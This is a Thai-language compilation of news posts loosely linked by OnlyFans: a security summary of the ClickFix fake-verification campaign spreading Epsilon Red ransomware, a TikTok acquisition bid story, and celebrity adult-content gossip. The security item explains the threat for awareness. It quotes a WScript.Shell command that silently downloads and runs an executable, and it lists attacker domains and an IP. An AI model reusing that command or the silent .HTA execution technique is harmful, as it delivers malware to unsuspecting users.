🧠 เรื่องเล่าจากข่าว: “ClickFix” กับกับดักปลอมที่เปิดทางให้ Epsilon Red เข้าระบบคุณ ตั้งแต่เดือนกรกฎาคม 2025 แฮกเกอร์เริ่มใช้หน้าเว็บปลอมที่ดูเหมือนระบบยืนยันตัวตนจากแพลตฟอร์มดัง เช่น Discord, Twitch, Kick และ OnlyFans โดยอ้างว่าเป็น “ClickFix verification” เพื่อหลอกให้ผู้ใช้ดาวน์โหลดไฟล์ .HTA ซึ่งเป็นไฟล์ HTML ที่สามารถรันสคริปต์ได้ใน Windows เมื่อผู้ใช้คลิก “ยืนยันตัวตน” หน้าเว็บจะเปิดอีกหน้าที่แอบรันคำสั่งผ่าน ActiveXObject เช่น WScript.Shell เพื่อดาวน์โหลดไฟล์ ransomware จากเซิร์ฟเวอร์ของแฮกเกอร์ แล้วรันแบบเงียบ ๆ โดยไม่แสดงหน้าต่างใด ๆ เทคนิคนี้ต่างจากเวอร์ชันเก่าที่ใช้การคัดลอกคำสั่งไปยัง clipboard—เพราะเวอร์ชันใหม่นี้รันคำสั่งโดยตรงผ่านเบราว์เซอร์ ทำให้หลบเลี่ยงระบบป้องกันได้ง่ายขึ้น Epsilon Red ransomware จะเข้ารหัสไฟล์ทั้งหมดในเครื่อง และทิ้งข้อความเรียกค่าไถ่ที่มีสไตล์คล้าย REvil แต่มีการปรับปรุงด้านไวยากรณ์เล็กน้อย ✅ Epsilon Red ransomware ถูกแพร่ผ่านไฟล์ .HTA ที่แฝงอยู่ในหน้าเว็บปลอมชื่อ “ClickFix” ➡️ หน้าเว็บปลอมอ้างว่าเป็นระบบยืนยันตัวตนจาก Discord, Twitch, Kick, OnlyFans ➡️ หลอกให้ผู้ใช้คลิกและรันไฟล์ .HTA ที่มีสคริปต์อันตราย ✅ ไฟล์ .HTA ใช้ ActiveXObject เพื่อรันคำสั่งผ่าน Windows Script Host (WSH) ➡️ เช่น shell.Run("cmd /c curl -s -o a.exe ... && a.exe", 0) ➡️ ดาวน์โหลดไฟล์ ransomware และรันแบบเงียบโดยไม่เปิดหน้าต่าง ✅ แฮกเกอร์ใช้เทคนิค social engineering เช่นข้อความยืนยันปลอมเพื่อหลอกผู้ใช้ ➡️ เช่น “Your Verificatification Code Is: PC-19fj5e9i-cje8i3e4” พร้อม typo จงใจให้ดูไม่อันตราย ➡️ ใช้คำสั่ง pause เพื่อให้หน้าต่างค้างไว้ดูเหมือนระบบจริง ✅ Epsilon Red ransomware เข้ารหัสไฟล์ทั้งหมดในเครื่องและทิ้งข้อความเรียกค่าไถ่ ➡️ มีลักษณะคล้าย REvil แต่ไม่มีความเกี่ยวข้องโดยตรง ➡️ ใช้ PowerShell scripts หลายตัวเพื่อเตรียมระบบก่อนเข้ารหัส ✅ โครงสร้างแคมเปญมีการปลอมตัวเป็นบริการยอดนิยมและใช้ IP/โดเมนเฉพาะในการโจมตี ➡️ เช่น twtich[.]cc, capchabot[.]cc และ IP 155.94.155.227:2269 ➡️ มีการใช้ Quasar RAT ร่วมด้วยในบางกรณี ‼️ ผู้ใช้ที่เปิดไฟล์ .HTA หรือใช้ Internet Explorer มีความเสี่ยงสูงมาก ⛔ ActiveX ยังเปิดใช้งานในบางระบบ Windows โดยไม่รู้ตัว ⛔ การรันคำสั่งผ่านเบราว์เซอร์สามารถหลบเลี่ยง SmartScreen และระบบป้องกันทั่วไป ‼️ องค์กรที่อนุญาตให้ใช้ปลั๊กอินเบราว์เซอร์หรือไม่จำกัดการเข้าถึงเว็บมีความเสี่ยงสูง ⛔ ผู้ใช้สามารถเข้าถึงหน้า ClickFix ปลอมและรันไฟล์ได้โดยไม่รู้ตัว ⛔ Endpoint อาจถูกเข้ารหัสและเรียกค่าไถ่ทันที ‼️ การใช้ social engineering แบบปลอมตัวเป็นบริการยอดนิยมทำให้ผู้ใช้ตกหลุมพรางง่ายขึ้น ⛔ ผู้ใช้เชื่อว่าเป็นการยืนยันตัวตนจริงจาก Discord หรือ Twitch ⛔ ไม่สงสัยว่าเป็นการโจมตีเพราะหน้าตาเว็บดูน่าเชื่อถือ ‼️ ระบบป้องกันแบบเดิมไม่สามารถตรวจจับการรันคำสั่งผ่าน ActiveX ได้ทันเวลา ⛔ การรันแบบเงียบไม่แสดงหน้าต่างหรือแจ้งเตือน ⛔ ไฟล์ถูกดาวน์โหลดและรันในหน่วยความจำโดยไม่มีร่องรอย https://hackread.com/onlyfans-discord-clickfix-pages-epsilon-red-ransomware/

OnlyFans และ Hbar Foundation ได้เสนอซื้อ TikTok โดยส่งข้อเสนอไปยังทำเนียบขาว ขณะที่ Amazon ก็ยื่นข้อเสนอในช่วงเวลาสุดท้าย ByteDance ต้องขาย TikTok ก่อน 5 เมษายน 2025 มิฉะนั้นอาจถูกแบนในสหรัฐฯ รัฐบาลกังวลว่า TikTok อาจถูกใช้เป็นเครื่องมือของจีน ทำให้การขายกิจการกลายเป็นประเด็นสำคัญที่ต้องจับตามอง ✅ Zoop—แพลตฟอร์มใหม่ของ Stokely ที่แตกต่างจาก OnlyFans - แม้ว่า OnlyFans จะเป็นแพลตฟอร์มที่เน้นเนื้อหาสำหรับผู้ใหญ่ แต่ Zoop เป็นแพลตฟอร์มที่ เหมาะสำหรับครอบครัว - Zoop ให้ ส่วนแบ่งรายได้แก่ผู้สร้างคอนเทนต์มากขึ้น เพื่อกระตุ้นการมีส่วนร่วมของผู้ใช้ ✅ เหตุผลที่ Stokely และ Hbar Foundation ต้องการซื้อ TikTok - ต้องการสร้าง โมเดลใหม่ที่ให้ผู้สร้างและชุมชนได้รับผลตอบแทนโดยตรงจากมูลค่าที่พวกเขาสร้างขึ้น - มีการร่วมมือกับ กลุ่มนักลงทุน แต่ยังไม่มีการเปิดเผยรายละเอียด ✅ Amazon ก็เข้าร่วมแข่งขันเพื่อซื้อ TikTok - New York Times รายงานว่า Amazon ได้ยื่นข้อเสนอในช่วงเวลาสุดท้าย - การแข่งขันนี้เกิดขึ้นก่อน เส้นตายวันที่ 5 เมษายน ซึ่ง ByteDance ต้องขาย TikTok หรือเผชิญกับการแบนในสหรัฐฯ ✅ TikTok อาจถูกแบนในสหรัฐฯ หาก ByteDance ไม่ขายกิจการ - กฎหมายที่มีผลบังคับใช้ตั้งแต่ 19 มกราคม 2025 กำหนดให้ ByteDance ต้องขาย TikTok ด้วยเหตุผลด้าน ความมั่นคงแห่งชาติ - รัฐบาลสหรัฐฯ กังวลว่า TikTok อาจถูกใช้เป็นเครื่องมือของรัฐบาลจีนในการดำเนินการด้านอิทธิพล ✅ การประมูล TikTok ถูกควบคุมโดยทำเนียบขาว - รองประธานาธิบดี JD Vance เป็นผู้ดูแลกระบวนการประมูล - ทรัมป์ระบุว่ามี 4 กลุ่มที่สนใจซื้อ TikTok แต่ยังไม่ได้เปิดเผยรายละเอียด https://www.thestar.com.my/tech/tech-news/2025/04/03/onlyfans-founder-crypto-foundation-submit-late-stage-bid-to-buy-tiktok

นักแสดงสาวสวยจาก Harry Potter ประกาศเข้าวงการ OnlyFans : [News story] นักแสดงสาวสวยจาก Harry Potter ประกาศเข้าวงการ OnlyFans หาเงินซ่อมบ้าน-ปลดหนี้

Lily Phillips (ลิลี่ ฟิลลิปส์) ชาวอังกฤษ วัย 23 ปี ประกาศข่าวดีว่าตนเองกำลังตั้งครรภ์ หลังจบคอนเทนต์มีเซ็กซ์กับผู้ชาย 100 คน ชาวเน็ตหวังว่าคงไม่ใช่เรื่องอำกันเล่นนะ • จากกรณี ก่อนหน้านี้ เมื่อดาราสาว Only Fans อย่าง Lily Phillips (ลิลี่ ฟิลลิปส์) ชาวอังกฤษ วัย 23 ปี ที่ตัดสินใจสร้างหนังในเดือนตุลาคมที่ผ่านมา ด้วยการมีความสัมพันธ์กับผู้ชายกว่าร้อยคนภายใน 1 วันเท่านั้น และเผยแพร่บนแพลตฟอร์ม OnlyFans ของเธอ นอกจากนี้ เธอยังคงวางแผนที่จะทำลายสถิติโลกด้วยการมีเซ็กส์กับผู้ชาย 1,000 คนในหนึ่งวัน เธอวางแผนที่จะทำสิ่งนี้ที่ไหนสักแห่งในอังกฤษ • ล่าสุด เมื่อวันที่ 19 ก.พ. ลีลี ฟิลลิปส์ ได้โพสต์ภาพของตัวเธอเองกำลังยืนลูบท้องของตัวเองและภาพที่ตรวจครรภ์ ที่ขึ้น 2 ขีดลงใน IG ส่วนตัว พร้อมกับระบุข้อความว่า“Baby Phillips coming 2025” • คลิกอ่านรายละเอียดเพิ่มเติม >>https://mgronline.com/onlinesection/detail/9680000016911 • #MGROnline #babyphillips2025

ของขึ้นเลยทีเดียว สำหรับ “เบียร์ เดอะวอยซ์” ภัสรนันท์ อัษฎมงคล หลังทำฮือฮาว่าจะไปทำคอนเทนต์ใน Only fans แล้วเจอคนแซะเรื่องต้องเสียเงินดู โดย เบียร์ ฟาดจัดหนักในเฟซบุ๊ก ระบุว่า • “ทำไมวะ แค่แทนที่จะลงให้ดูฟรีๆ แต่ไปลงแบบเสียตังค์แทน มันจะอะไรนักหนา มันเป็นวิธีที่ฉลาดกว่าด้วยซ้ำ พวกไม่มีปัญญาจ่าย ก็จะมาบ่นๆๆๆๆ 😂 • ไอ้พวกที่มาเม้นว่า การแข่งขันสูงบลาๆ คือมึงไม่ได้อ่านโพสต์หรอวะ ว่ากุจะทำตามใจตัวเอง ใครจะซัพก็ซัพ ไม่ซัพกุไม่ได้ไปบังคับนิ ชัดเจนเลยนะ ไม่ได้จะไปทำแข่งกับใคร ทำให้คนที่ชอบกุดู กุให้ดูแค่ไหนก็แค่นั้น มีแค่ไหนก็แค่นั้น • ไม่ต้องมาทำนายอนาคต เพราะถ้าเป็นแฟนคลับจริง นี่ทำมาตั้งแต่ Subscribtion ของ Instagram แล้วค่ะ • คลิกอ่านรายละเอียดเพิ่มเติม >>https://mgronline.com/entertainment/detail/9680000004361 • #MGROnline #เบียร์เดอะวอยซ์ #Onlyfans

อ่านไม่ผิด! สาว OnlyFans วัย 20 รายได้ปีละ 1,490 ล้าน ลั่น "ยังเป็นสาวเวอร์จิ้น" https://www.sanook.com/news/9655778/